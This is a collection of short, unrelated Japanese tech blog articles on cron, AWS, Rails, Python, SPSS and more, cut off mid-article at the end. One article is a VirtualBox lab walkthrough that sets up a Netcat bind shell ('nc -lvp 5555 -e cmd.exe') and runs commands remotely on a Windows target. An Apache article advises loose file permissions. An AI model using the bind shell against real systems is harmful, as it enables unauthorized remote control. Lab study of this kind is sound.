自動で更新するように設定しておきましょう!

EC2にログインしてcron tabの編集をします。

```
sudo crontab -u root -e
```

viコマンドで下記を追記します
※｢i｣で入力モードにして、以下をコピペ。escキーを押して｢:wq｣で保存&viの終了ができます。

```
00 01 01 * * root  certbot renew --force-renew --post-hook "sudo systemctl restart nginx"
```

以下で確認できたらOKです☆
```
$ sudo crontab -u root -l
00 01 01 * * root  certbot renew --force-renew --post-hook "sudo systemctl restart nginx"
```

そして最後にcronを再起動して完了です!
```
sudo systemctl restart crond
```


---
以上になります!
最後までご覧いただきありがとうございます^^
お疲れさまでした!!!
AutomationStudioアクティビティでファイルの場所にアクセスできません



私は、Email Studioのインタラクションでファイルの場所にアクセスできますが、Automation Studioの場合と同様に、ファイルの場所は表示されず、この方法で読み込まれ続けます。これは許可関連の問題だと思います。誰かがそれを解決する方法を提案できますか？

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/328136/9a0f0f68-a6fb-305c-9023-9f7527f177ac.png)


ここでファイルの場所を選択できます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/328136/67f7fbad-c505-aa93-b57c-8868da2ed850.png)


最終回答

このインポートアクティビティは、私の組織のインタラクションでは利用できません。

[Unable to access File Location in Automation Studio activities](https://trailhead.salesforce.com/ja/trailblazer-community/feed/0D54S00000EoWEtSAN)
AWS認定資格の取得への道

## 資格取得しようと思った背景
　- 業務でAWSを触れる機会が増えた。
　- AWSを知ることで開発の幅が広がりそう。

## これまで受験したAWS認定資格
　- **AWS Certified Solutions Architect – Associate**
　- **AWS Certified Developer - Associate**
　- **AWS Certified SysOps Administrator – Associate**

## 勉強方法
- 書籍
[AWS認定資格試験テキスト AWS認定ソリューションアーキテクト - アソシエイト 改訂第2版](https://www.amazon.co.jp/AWS-E8-AA-8D-E5-AE-9A-E8-B3-87-E6-A0-BC-E8-A9-A6-E9-A8-93-E3-83-86-E3-82-AD-E3-82-B9-E3-83-88-AWS-E/dp/4815607389/ref=dp_ob_title_bk "AWS認定資格試験テキスト AWS認定ソリューションアーキテクト - アソシエイト 改訂第2版")

- Web問題集 👈 **これオススメ！**
[AWS WEB問題集で学習しよう](https://aws.koiwaclub.com/ "AWS WEB問題集で学習しよう")
　- 周回することで本番の難しい問題にも対応。
　- 本番に近い！
　- 短期間で合格したい方にはオススメ！

## 試験の雰囲気
- テストセンターでの受験
　- Web問題集で学んでいるため、試験時間の半分程度で全て解答できてしまう。
　- 残り時間は選択した解答に誤りがないか、確認を行い、試験終了。
　- テストセンター行くと、すぐに試験開始できる！（自宅受験は、準備が大変😭）

- 試験内容
　- 試験問題の英語を直訳しているような問題文なため、少し理解するのが困難な時がある。
　- どの試験も「**コスト、セキュリティ、可用性**」などを意識して、解答することが重要！

## まとめ
- 今まで触ったクラウドを触っていない方は「**AWS Certified Cloud Practitioner**」がオススメ！
AWSを知ることで、他のクラウドのハードルも下がります。

- 書籍で一つ一つ学ぶよりも本番の形式（Web問題集）で勉強する方が、アウトプットも多く、
短期間で合格することができました！

- 以下のAWSサービスの問題が多く出題される。
S3,IAM,RDS,EC2,CloudWatch
Qiitaで記事を書く際のテンプレートまとめ


## はじめに
Qiitaで記事を書く際に毎度構成を考えていたので、先人たちの書き方を参考にQiitaを書く際の見出しをテンプレ化しようと思います。
今後テンプレートを使う中で随時更新していきます。

## テンプレート

テンプレートといっても内容に応じて使い分けた方が良いと考えます。
まずはパッと思いついた以下についてテンプレート化します。
このテンプレートも今後ブラッシュアップしていく予定です。

- 新しい機能の説明記事
- エラーの対処法記事

### 新しい機能の説明記事
```
## はじめに
- 記事の概要
- 記事執筆の背景
- 想定読者
## 実現したいこと
- ほげほげする
## 前提
もしあれば
## 開発環境
- ツールの説明
- 注意事項
## セットアップ
- 開発環境のセットアップ方法
## 使い方
使い方
## デモ
もしあれば
## 終わりに
- 感想
- 懸念点
- 考察
## 参考
- hogehoge
```

### エラーの対処法記事

```
## はじめに
- 記事の概要
## エラー内容
- エラー文コピペ
- エラー内容概説
    - 	エラー文が英語であることが多いため
## 試したこと
- 省略しても良い
## 原因
- ほげほげ
## 解決策
- ほげほげ
## 結果
- ほげほげ
## 終わりに
- 感想
- 考察
## 参考
- hogehoge
```

## 参考
- https://qiita.com/filipekeiji/items/526094b69b962f98d2c8
- https://qiita.com/yarashi1226/items/4c697ff795c3258b9cef
- https://qiita.com/zizynonno/items/8b58e8a4eca2c8d9870b
FIELD_CUSTOM_VALIDATION_EXCEPTIONが出てもValidation Ruleとは限らない


この場合はApexでエラーになっている感じです。
この検証は、割り当てトリガーのNPSP側のAPEX内からトリガーされます。

+ [単体テストでの割り当て設定](https://trailhead.salesforce.com/ja/trailblazer-community/feed/0D54S00000DyTT6)
試しにPaizaCloudでプロジェクトを作ってみたが……

PaizaラーニングでLaravelのコースをやったので、PaizaCloudでプロジェクトを作ってみた感想をお伝えしたいと思います。

# プロジェクト作成は出来る。
プロジェクト作成だけなら、難しくはありませんが、Paizaラーニングのようにはいかなかったです。
と、いうのもPaizaラーニングでは、PHPmyadminを使用しているのですが、私はmySQLを選びました。
（追記）
ただし、ラーニングのほうでは、
```
$laravel new project
```
で作成できるのに、PaizaCloudでは使えません。
```
$composer create-project laravel/laravel project --prefer-dist
```
上のコマンドしか使えません。まあ、そっちのほうがいいんですが。統一はしてほしいです。

# マイグレーションでエラーが
マイグレートを実行したときにエラーが出ました。メッセージを見てもよく分かりませんでした。

# PaizaCloudは慣れていない
初めて使うので、そもそも慣れていなく間違っているところがあるんだと思います。

AWSなら、うまく行くのかというのは話が別です。

以上が感想になります。
xclipをCtrl+vでペーストしたい

コピペをコマンドラインでやる、コマンドでクリップボードにアクセスする際に使える`xclip`コマンド。

しかし`xclip`を引数無しでパイプしても

```
echo -n Universal Naming Convention | xclip
```

`Ctrl`+`v`でペーストできない。

`Ctrl`+`v`でペーストするには次のように`xclip`に引数を渡してやる必要がある：

```
echo -n Universal Naming Convention | xclip -selection clipboard
```

毎回`-selection clipboard`を書くのはダルいからエイリアスを設定する：

```
alias myclip='xclip -selection clipboard'
```

この一行を`~/.bashrc`や`~/.zshrc`に追記する。

以降は、myclip を xclip の代わりに使えばよい：

```
echo -n Universal Naming Convention | myclip
```

これで`Ctrl`+`v`でペーストできる。


（ちなみにWindowsでは`clip`、Macでは`pbcopy`がある）
xserverでhtaccessしててSSLしたいとき

https://www.xserver.ne.jp/manual/man_server_ssl.php

> 設定ドメインに対して、アクセス制限やリダイレクト設定が設定されている
> 更新完了までの間、一時的に無効にしてください。

SSLの設定＆更新のたびに、.htaccess無効にしなきゃいけないの面倒ですよね。対処法です。

SSL設定時にこういうアクセスがあります。
```apache:access.log
hoge.jp **.**.**.** - - [06/May/2022:10:19:17 +0900] "GET /.well-known/acme-challenge/Hoge123Fuga456hoge789Fuga HTTP/1.1" 200 87 "-" "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)"
```

なのでこのアクセスを除外してあげればいいです。例：
```apache:.htaccess
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{HTTP_USER_AGENT} !letsencrypt #これを追加
    RewriteRule ^(.*)$ public/$1 [QSA,L]
</IfModule>
```
Electron から Nightmare を使う

Electron アプリケーションから Nightmare を使いたい時の方法。
スクレイピング中に動的HTMLが取れない場合などに。

## Eramthgin を使う

Eramthgin を使うとちゃんと動く。
https://www.npmjs.com/package/eramthgin

`npm install eramthgin`

## メインプロセスで呼び出す

基本的に nightmare と同じ。

```main.js
const nightmare = require('eramthgin');
const n = new nightmare({
	show: true
});
```

## preload.js に渡して処理を書く

main.js で global を経由して preload.js に渡す。

```main.js
const mainWindow = new BrowserWindow({
	width: 1200,
	height: 600,
	webPreferences: {
		preload: path.join(__dirname, 'preload.js')
	}
});
global.mainWindow = mainWindow;
mainWindow.nightmare = n;
```

preload.js では global から取得して使う。

```preload.js
const mainWindow = remote.getGlobal('mainWindow');
const nightmare = mainWindow.nightmare;

nightmare.goto('https://www.google.com/')
		 .insert('input[name=q]', 'what is google')
		 .click('input[name=btnK]')
```

preload.js から直接 nightmare を呼び出せなかったので、備忘録として。
VirtualBox上でサイバー攻撃を実装してみた


# ＜攻撃前の準備＞

攻撃をする前に、ゲストOS,ホストOSを接続できる状態にします。

①virtualboxで、攻撃用サーバー（Kalilinux)とターゲット用サーバー（Windows7）を立てる

②仮想マシンのネットワーク設定を以下のように設定する。

Kalilinux：アダプタ1→NATアダプタ　
　　　　　　アダプタ2→ホストオンリーネットワークアダプタ

Windows7 : アダプタ1→ホストオンリーネットワークアダプタ


③ゲストOSとゲストOS、ゲストOSとホストOSの接続を確認する
（ifconfig＋ping)

④　pingが通らない場合は、ファイアウォール設定を確認する
（ホスト・ゲストともにwindows側でICMP Echo要求を有効化する）




# ＜ターゲット端末を遠隔操作する（by Netcat)＞

ここからは、実際の攻撃を行います。
WindowsにNetcatがインストールされている前提で話を進めます。

①　Netcatでwindowsへ接続する

Kaliでterminalを起動して、windowsへ接続します。
```
root@kali:~ nc 10.0.0.102 5555
```

windows側でnetstatコマンドを実行すると、KaliのIPアドレスとポート番号が表示されます。
また、接続状態（state)はestablishedとなります。


②Kaliとwindowsでデータをやり取りする

kali側のterminalで以下のように実行すると
```
root@kali:~# nc 10.0.0.102 5555
hello
```
windows側のterminalで
```
hello
```
と表示されます

③　以上を用いてバインドシェル（攻撃端末からターゲット端末に接続するシェル）を行います。

（1）Windows側で実行されるシェルを指定する

```
C:|Work|nc111nt>nc/exe -lvp 5555 -e cmd.exe
listening on [any] 5555
```

(2)kaliからwindowsへアクセスする

```
root@kali:~# nc 10.0.0.102 5555
```

(3)遠隔操作でコマンドを実行する

コマンドプロンプトの表示内容がKaliのterminalに表示されます。
例えば、
```
C:\Work\nc111nt>whoami
whoami
ie8win7\ieuser
```
のように、kali側で入力したコマンド（上の例ではwhoami)がエコーされて表示されますが、そのあとにコマンドの出力結果が表示されます。

この時点で、Kali側がwindows側を遠隔操作出来ています。
【Python】配列の順序を保持しながら集合演算（和集合、差集合、積集合）を行いたい

# はじめに
私ごとですが、最近RubyのプログラムをPythonに書き換える機会がありました。
その時、配列に対して集合演算する必要があり、Pythonでこの方法を調べるとlistを一度setに変換して集合演算を行い、再度listに変換し直す記事が多数でした。
setは便利ですし、大半の場合はこの方法で十分だと思いますが、わたしの場合はもとのlistの順序を保持したかったので、setを使うことはできませんでした。

よって本記事には、Pythonでsetを使わずに配列の順序を保持しながら集合演算を行う方法を残したいと思います。

# 目指す動作(Rubyの集合演算)
配列同士で集合演算を行い、配列を返します。
## 和集合「<code>|</code>」
```ruby
[2, 1, 1, 7, 5, 5] | [3, 3, 5, 7, 9]
# => [2, 1, 7, 5, 3, 9]
```
重複している要素は取り除かれます。
左辺を基準に順番が保持されています。
## 差集合「<code>-</code>」
```ruby
[2, 1, 1, 7, 5, 5] - [3, 3, 5, 7, 9]
# => [2, 1, 1]
```
左辺で重複していて右辺にある要素は重複している要素は取り除かれますが、
左辺で重複していて右辺にはない要素は除かれないです。
左辺を基準に順番が保持されています。

## 積集合「<code>&</code>」
```ruby
[2, 1, 1, 7, 5, 5] & [3, 3, 5, 7, 9]
# => [7, 5]
```
重複している要素は取り除かれます。
左辺を基準に順番が保持されています。

# Pythonで実装
私が軽く探した限り、~~特に需要が無いからなのか~~Pythonで配列の順序を保持しながら集合演算を行う記事は見つからなかったので自分で書いてみました。
難しいことはしていないのでコードの説明は特にしませんが、誰かの役に立てばとここに残しておこうと思います。

(2022/05/10 コメントをいただき、コードの改善を行いました)
## 和集合
```python
def union_set_list(a, b):
    return list(dict.fromkeys(a + b))

a = [2, 1, 1, 7, 5, 5]
b = [3, 3, 5, 7, 9]
union_set_list(a, b)
# => [2, 1, 7, 5, 3, 9]
```
※dict.fromkeys()で引数のシーケンスの順序が保持されることが保証されているのはPython3.7かららしいので、それより前のバージョンでは組み込み関数sorted()を使うといいと思います。

## 差集合
```python
def difference_set_list(a, b):
    return [i for i in a if i not in b] 

a = [2, 1, 1, 7, 5, 5]
b = [3, 3, 5, 7, 9]
difference_set_list(a, b)
# => [2, 1, 1]
```

## 積集合
```python
def intersection_set_list(a, b):
    return [i for i in dict.fromkeys(a) if i in b]

a = [2, 1, 1, 7, 5, 5]
b = [3, 3, 5, 7, 9]
intersection_set_list(a, b)
# => [7, 5]
```
# 参考記事
- [rubyのArrayで集合（和集合・積集合・差集合・対称差集合・補集合）](https://qiita.com/namitop/items/be11c007da456ea95735)
- [Pythonでリスト（配列）から重複した要素を削除・抽出](https://note.nkmk.me/python-list-unique-duplicate/)
画像、という素材を社内SNSツールで送る方法

## 普段、シェアしたい画像なら良いのですが。

普段シェアする写真とかそういうのは構いませんが

## 素材の画像は決してそのまま送らないでください！

なぜなら、SNSサイド側で、勝手に最適化されるからです。

Web用の素材として使用するものが、勝手に劣化されるのは、怖いとしか言えません。

## どうすればいいの？

可逆圧縮である zip で画像を圧縮するのみです。

実際、ファイルサイズの減少は起きず、むしろ増加するのみですが、

展開すれば、完全な同一が保持されます。
[Rails]タグ一覧での投稿数が多い順に並べる

## はじめに
タグ一覧の作成順？の表示が使いにくいと感じ、
初心者(300)←()の中身が多い順に表示して少ないものは表示させないようにできたので投稿します。

多く投稿されているランキング方式に少しだけ（本当に少し）工夫が必要だったので、
とても簡単ですがよろしくお願いします！

⚠タグ機能は実装している前提です.
⚠もし投稿数が多い順で表示されなかったら、自分の環境ではPostモデルにdefault_scopeで最新順にしているからかもしれません。

#### こちらの記事を参考に実装しました！
[Railsでお手軽ランキング機能](https://qiita.com/mitsumitsu1128/items/18fa5e49a27e727f00b4)

実装後に気が付きましたが、めちゃくちゃわかりやすい記事が存在してました！！↓↓
[【Rails】いいね順・投稿数順など　◯◯順の考え方・方法](https://qiita.com/ysdiary/items/7c91ca5a3e71311d8fc3)

## 環境
Rails： 6.1.5
Ruby： 2.6.3

## 結論
```ruby:posts_controller.rb
class Public::PostsController < ApplicationController

 def index
  @tags_list = Tag.find(PostTag.group(:tag_id).order('count(post_id) desc').limit(7).pluck(:tag_id))
　　　　# 省略
 end
end
```

## 軽く解説
いいねランキングとの変更ポイントとしては、
参照モデルとgroup(<font color="Red">:tag_id</font>)など中身の部分です。
```ruby:posts_controller.rb
# Tagは中間テーブルを使用しているため、外部キー（tag_idとpost_id）を持つPostTagから
Tag.find(PostTag
# :tag_idを基準に
group(:tag_id)
# post_id(投稿数)がdesc(多い順)に並べる *ここ:post_idではないので注意
.order('count(post_id) desc')
#上位7件の:tag_idを抜き出す
.limit(7).pluck(:tag_id))
```
前述した[こちらの記事では](https://qiita.com/ysdiary/items/7c91ca5a3e71311d8fc3)全て`tag_id`で実装していたのでそっちでもいいと思います！

## 最後に
タグのランキングに関する記事があまり見つからなかったので投稿しましたが、逆にとてもわかりやすい記事に出会えました😁

最後まで閲覧いただきありがとうございました！
[Karabiner-Elements] イコール (=) を長押ししたらコロンイコール (:=) と入力できるようにする

# 概要

Go を書いているときに、代入文で `Shift-;` + `=` と入力するのが少々面倒だったので、
`=` を長押ししたら `:=` と入力できるようにしました。

# Karabiner-Elements とは

https://karabiner-elements.pqrs.org/

# 設定

`~/.config/karabiner/karabiner.json` を開いて
`profiles > complex_modifications > rules` の中に下記ルールを追加してください。

```json
{
  "description": "イコール(=)を長押ししたらコロンイコール(:=)に置換する",
  "manipulators": [
      {
          "from": {
              "key_code": "equal_sign",
              "modifiers": {
                  "optional": [
                      "caps_lock"
                  ]
              }
          },
          "to": {
              "key_code": "equal_sign",
              "repeat": false
          },
          "to_if_held_down": [
              {
                  "key_code": "delete_or_backspace"
              },
              {
                  "key_code": "semicolon",
                  "modifiers": [
                      "left_shift"
                  ]
              },
              {
                  "key_code": "equal_sign",
                  "repeat": false
              }
          ],
          "parameters": {
              "basic.to_if_held_down_threshold_milliseconds": 200
          },
          "type": "basic"
      }
  ]
}
```

下記はお好みの長さに調節してください。この設定だと 200 ミリ秒長押ししたときに `:=` になります。

```json
"basic.to_if_held_down_threshold_milliseconds": 200
```
JDK付属の$JAVA_HOME/lib/security/cacertsのデフォルトパスワード

JDK付属の`lib/security/cacerts`を、`keytool`で操作する際、パスワードを要求される場合がある。デフォルトのパスワードは`changeit`である。

変更するには、以下の通り。

```shell
% keytool -storepasswd -cacerts
Enter keystore password: <-- 'changeit'を入力
New keystore password:
Re-enter new keystore password:
TOHOシネマズのUIアンチパターン！ 一連のユーザー行動に多数の遷移を挟んでしまう

僕は映画を観に行きたい。
そもそもどんな映画があるかと、上演時間をチェックしたい。

興味が湧かない映画なら観る気が起きないし、上演時間が合わなければそもそも行けないからだ。

だがTOHOシネマズのサイトで上演スケジュールを見ていたところ、作品詳細を見ようとすると、別ページに遷移してしまう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89618/b044a251-cd1b-3cd6-51b4-c7efdcede6d9.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89618/8dab3ceb-d5f6-4eda-0c4d-97ecec726e8c.png)

上演時間のページと作品詳細のページはお互いに独立しており、リンクで繋がっているだけだ。

上演時間のページからは映画のサムネイル画像さえ見ることが出来ない。
つまり、どんな映画かまるで分からん。1画面からは映画タイトルだけで判断しなければいけない。

映画の場合、僕だけではなく、上演時間と映画内容をチェックしながら観る映画を決めることも多いと思う。

- 作品Aの上演時間と映画内容をチェック
- 作品Bの上演時間と映画内容をチェック
- 作品Cの上演時間と映画内容をチェック

というように。これを遷移なし、あるいは折りたたみを開くなどの軽い動作によって、一連の流れでおこないたい。

だがTOHOシネマズのUIでは上演時間と映画内容のチェックの間に遷移が入ってしまう。

- 作品Aの上演時間をチェック
- 遷移
- 作品Aの映画内容をチェック
- 遷移
- 作品Bの上演時間をチェック
- 遷移
- 作品Bの映画内容をチェック
- 遷移
- 作品Cの上演時間をチェック
- 遷移
- 作品Cの映画内容をチェック
- 遷移

おそろしくユーザーの遷移が増えてしまうことが分かるだろう。

そもそも「映画を選ぶ」というのはユーザーの主要中の主要のアクションだ。
だがTOHOシネマズが「チケットを買う」ということに主眼を置き「映画を選ぶ」という行動を軽視しているのが分かる、

# 結論

TOHOシネマズよ。Webサイトをチケット購入サービスとしてではなく、映画を選べるサービス、比較検討しやすいサービスを作ってくれ。少なくとも毎回、僕はやや映画選びに難儀している。










<!-- Update From Qiita API -->

# チャットメンバー募集


何か質問、悩み事、相談などあればLINEオープンチャットもご利用ください。

https://line.me/ti/g2/eEPltQ6Tzh3pYAZV8JXKZqc7PJ6L0rpm573dcQ





# Twitter


https://twitter.com/YumaInaura


<!-- Update From Qiita API -->
Tableauの独学が難しい理由

私がTableauのサブスクリプションを開始したのは、2019年7月のことでした。以来、ずっとひとりの「ぼっちユーザー」として使い続けてきました。
ネットや書籍にたくさんの情報があるTableauですが、それでもひとりで学ぶのは難しいと感じています。
本稿では、どういった点で引っかかるのかを簡単にまとめておきたいと思います。


## Tableauは頻繁にアップデートされる

Tableauは年4回のリリースがあり、新しい機能が続々と導入されます。過去の制約がなくなったり、テクニックとして使われていた方法がもはや推奨されなくなったりすることが少なくありません。
たとえば、過去にはマップで込み入ったvizを作成するには二重軸や空間ファイルの結合を行う必要がありましたが、2020.4で複数のマップレイヤーが使えるようになり、さらに2021.4でマップレーヤーでの複数データソースを使えるようになって、vizの作り方が一変しました。

Tableauの変遷については、以下の記事にまとめられています。

https://www.tableau.com/about/blog/2021/12/analyzing-history-tableau-innovation

長くTableauを使ってきたユーザーは都度新たな機能を学んで行けばよいのですが（とは言え追従は大変です）、新たに学び始めたユーザーは困惑します。


## 情報は豊富だが「ちょっと何を言ってるかわからない」

Tableauの書籍も増えましたし、ネットにはふんだんにTableauの情報があります。本稿執筆時点で、[「tableau site:qiita.com」を指定してGoogle検索](https://www.google.com/search?q=tableau+site%3Aqiita.com)すると、2100件以上の記事がヒットしています。動画や英語の情報も含めれば、まだまだたくさんあります。

しかし、技術文書は「知らない人には理解できず、分かる人には既知の情報ばかり」となりがちです。きちんと書かれた文書であっても、有用な機能が導入されても、背景となる知識がないと理解するのは難しいものです。

Tableau Desktopの操作説明では、ユーザインタフェースのどこを操作するのかを記述するのも大変です。パーツ名を指定されても理解できないこともあります。文章での指定を避けたい場合にはスクリーンショットを多用することになりますが、書籍では画像が小さく粗かったりしますし、画像ばかりだと話の流れがよくわからなくなったりすることもあります。

それなら動画にすればよさそうなものですが、Tableau Desktop（Mac、Windows）、Tableau Server、Tableau Cloud、それにバージョンや言語の違いもあったりするので、動画を見てもなかなかわからないこともあります。

情報は豊富にあるものの、まさに「ちょっと何を言ってるかわからない」という状況に陥ります。

## 他人の操作を見てみよう

一番いいと思うのは、他人が操作している様子を見ることです。職場で見られればベストです。同じ環境で、題材も業務に直結することが多いでしょう。
しかし、ぼっちユーザーの私はそういう訳に行きませんので、オンラインセミナーやYouTubeライブなどで操作の様子を見ています。
知らない機能やキーボードショートカットが分かって勉強になります。

私の場合、TechPlayをよく利用しています。
https://techplay.jp/tag/tableau

まだTechPlayを利用されていなければ、ユーザー登録した上で、お気に入りタグで「Tableau」を登録しておくとよいと思います。
OSS-DB  概観　第一回(全二回)

## OSSDBでできできること

### インストール編
データベースクラスタを作成　
$PGDATA 以下のディレクトリにログファイルや、トランザクションログ、パラメータ等の設定ファイルをおくことができる

## データベース編

テンプレートデータベース　template0,template1　テンプレートファイルを作成できる
initdb データベースクラスタを作成するコマンド、ロケールやユーザー名などを用いることが可能

## 標準付属ツール編
pg_ctl　起動停止等のコマンド
create_user データベースユーザを作成
createdb データベースを作成
psql データベースへの接続と切断、SQLコマンドの発行等を行う
メタコマンド　バックスラッシュから始まるコマンド
　
## 設定ファイル編
pg_hba.conf クライアント認証のファイル

###バックアップ編
pg_dump 
pg_dumpall 稼働中バックアップを行う
ディレクトリーコピー
PITR 更新データとデータベース全体からバックアップを行う

## 運用管理編
ユーザー追加、除去　VACUUM、ANALYZE
不要領域を回収
自動バキューム、システム情報取得関数
GRANK文、REVOKE文
ワークショップを開催してモグラ叩きゲームを作ってみた

## はじめに
プログラミングの楽しさを知ってもらいたく、
社内にて未経験者でも楽しめるプログラミングのワークショップを開催しました。 
ご参加、ご協力頂いた皆様、ありがとうございました。

今後のために運用の流れなど、ナレッジとして残しておこうと思います。

同じようなことを考えている方が、もしいらっしゃいましたら、タイムテーブルや準備物など少しでも参考になれば幸いです。

![IMG_8607.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/392337/63bb3083-eaf1-7a82-8fd9-2e2475462e7e.jpeg)

※写真掲載の許可も皆様ありがとうございます。

## 想定
・時間：約1時間半
・受講者の人数：3~5人
・受講者のレベル：0~1年目のエンジニア & 非エンジニア(他部署)
・講師の人数：2~3人
・講師のレベル：4~6年目のエンジニア
・場所：10人程度が入れる会議室

※講師の配置は、
メインが前、サブが後ろに座り、サブはタイムキーパーを兼ねる
参加者はある程度スペース空けて座ってもらう。

## ワークショップ用コンテンツ
https://github.com/ryota-shimajiri/mogu_tan

完成形はこちらです。

https://ryota-shimajiri.github.io/mogu_tan/

※index.htmlとsample.jsを見本にmogu_tan.htmlとmogu_tan.jsを実装していきます。

:::note
上記のサイトのcodeを押下して、「Download zip」からソースコードをダウンロードして、
好きなフォルダ(ディレクトリ)に配置して解凍してください。
:::

:::note
作業自体はメモ帳でも可能です。
Visual Studio Codeがあると作業しやすいです。
https://azure.microsoft.com/ja-jp/products/visual-studio-code/
:::

## 必要な備品
・大きめのモニター × 1（もしくはプロジェクター）
・HDMIケーブル × 1
・イス × 参加人数分 (講師 + 受講者)
・電源タップ × 2 (5本くらい挿せるやつ)
・アルコール消毒 × 1

必ずコロナ対策で事前に体温チェックと、会場の換気は行うこと！
※換気できない場合は空気清浄機 × 1

無くても可！
・お菓子(甘いやつ)
・飲み物(お茶)


## タイムテーブル
・あいさつ＆内容説明 5~10分
今日やることの流れを簡潔に説明する

・必要であれば環境構築 ~15分程度で出来るもの
※複雑なものは事前におこなってもらうほうが良いかも

・実施
説明 5分と実施 15分の合計、
20分を1セットとする。
1セット内で全体の進み具合を確認ながら進めていく。

### STEP1 ：
1セット 20分

:::note
HTMLにタイトルを追加して中央に寄せてみよう。※h1タグ
HTMLにモグラが隠れている画像の複数表示してみよう。※tableの説明
JavaScriptでHTMLからモグラ要素を取得しよう。※document.getElementById
:::

### STEP2： 
1セット 20分

:::note
モグラが現れる処理を実装してみよう。※パスを指定して画像を取得する。
:::

:::note warn
休憩：10分
:::

### STEP3 ：
1セット 20分

:::note
現在はモグラが表示されるだけになっていますので、
モグラが隠れる処理を実装してみよう。
※setTimeoutでhiddenMogutan関数を呼びだし、hiddenMogutan関数で現れる処理と同じことをする。
:::

### STEP4 ：
1セット 20分

:::note
最後にモグラを叩く処理を実装してみよう。※//onMogutanのコメントアウトを外す
JavaScriptでモグラが出ている状態だったら、叩かれたモグラの画像に差し替える
カウント機能を動くようにして表示してみよう。
:::

## 残り時間に関して

:::note
全ての工程が完了し、残った時間に関しては、
応用として、自分の考えた機能を追加してみよう。
:::

・画像を別のキャラクターに差し替えて、それが叩かれたときに特典が10倍になる。
・モグラの表示数を倍にする。

などなど、色々な応用が出てきて面白かったです。
SPSS Modeler ノードリファレンス 7-4 拡張のエクスポート

# 7-4 拡張のエクスポート[エクスポートタブ]
<img width="200" alt="194-161拡張のエクスポート.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/82519f7b-c10a-e3cd-075b-3ba4a9896c1d.png">

## 1.ノードの目的(拡張ノード共通)
SPSS ModelerにないアルゴリズムなどをPythonまたはRから呼び出して連携する。

![スクリーンショット 2022-05-08 14.36.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/e8850631-b7e3-dcd1-78f0-60cf7003a24c.png)

＊ノードリファレンスの拡張ノード５つの記事は全て共通です。


## 2.解説動画(拡張ノード共通)

#### Rによる地図連携（115秒）
<iframe width="560" height="315" src="https://www.youtube.com/embed/9lMNDNIAvIk" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

#### PythonのLightGBM連携（185秒）
<iframe width="560" height="315" src="https://www.youtube.com/embed/0DPkHN4tero" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

## 3.クイックスタート(拡張ノード共通)

以下の記事で詳しく解説しています。

https://www.ibm.com/blogs/solutions/jp-ja/learn-modeler-05/

https://qiita.com/kawada2017/items/0bb68e0b577e02bb8c6a

https://qiita.com/kawada2017/items/04f525727725d199723c

## 4.Tips(拡張ノード共通)

#### Pythonの自然言語処理を呼び出す例

https://www.ibm.com/blogs/solutions/jp-ja/spssmodeler-push-node-22/

#### 拡張ノードとカスタムノードの違い（2021年SPSS春ユーザー会HONDA様発表資料）

https://speakerdeck.com/jpspss/onewex-spsslian-xi-niyorutekisutofen-xi-falsekuo-zhang?slide=13

## 5.参考情報

#### ノードのヘルプ

https://www.ibm.com/docs/ja/spss-modeler/18.3.0?topic=nodes-extension-export-node

#### SPSS Modeler 逆引きストリーム集（データ加工）

https://qiita.com/416nishimaki/items/4bf813e6cba84b2a1008

#### SPSS Modeler ノードリファレンス目次

https://qiita.com/416nishimaki/private/503037195081d3323eee
Mac で Apache を起動して localhost にアクセスする

# 手順

ターミナルで以下を実行

```
sudo apachectl start
```

次に http://localhost/ にアクセスする

# 表示結果

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89618/77833450-c136-71de-35e2-519ee6623244.png)


# 停止

```
sudo apachectl stop
```

# 設定ファイル

ファイルの場所

```
/etc/apache2/httpd.conf
```

権限問題でファイル編集しづらいので、権限を変えておく

```
sudo chmod 606 httpd.conf
```

# HTMLファイル

httpd.conf の DocumentRootを見ればHTMLなどファイルの場所が分かる

```
...
DocumentRoot "/Library/WebServer/Documents"
...
```

```
$ ls /Library/WebServer/Documents
./             ../            index.html.en
```

こちらも編集しやすいように権限を変えておく

```
sudo chmod 707 /Library/WebServer/Documents
sudo chmod 606 /Library/WebServer/Documents/*
```

# ファイルの置き場を変える場合の例

httpd.conf を編集する

```
...
DocumentRoot "/Users/<あなたのMacユーザー名>/htdocs"
<Directory "/Users/<あなたのMacユーザー名>/htdocs">
...
```

ディレクトリとファイルを作成

```
mkdir /Users/<あなたのMacユーザー名>/htdocs
touch /Users/<あなたのMacユーザー名>/htdocs/index.html
```


Webサーバーを再起動する

```
sudo apachectl restart
```

# 参考

https://weblabo.oscasierra.net/apache-macos-usage/








<!-- Update From Qiita API -->

# チャットメンバー募集


何か質問、悩み事、相談などあればLINEオープンチャットもご利用ください。

https://line.me/ti/g2/eEPltQ6Tzh3pYAZV8JXKZqc7PJ6L0rpm573dcQ





# Twitter


https://twitter.com/YumaInaura


<!-- Update From Qiita API -->
SPSS Modeler ノードリファレンス 6-8 拡張の出力

# 6-8 拡張の出力[出力タブ]
<img width="200" alt="194-161拡張の出力.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/6b7a22d9-2978-8f21-50d0-ceaf69a35bdc.png">

## 1.ノードの目的(拡張ノード共通)
SPSS ModelerにないアルゴリズムなどをPythonまたはRから呼び出して連携する。

![スクリーンショット 2022-05-08 14.36.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/e8850631-b7e3-dcd1-78f0-60cf7003a24c.png)

＊ノードリファレンスの拡張ノード５つの記事は全て共通です。


## 2.解説動画(拡張ノード共通)

#### Rによる地図連携（115秒）
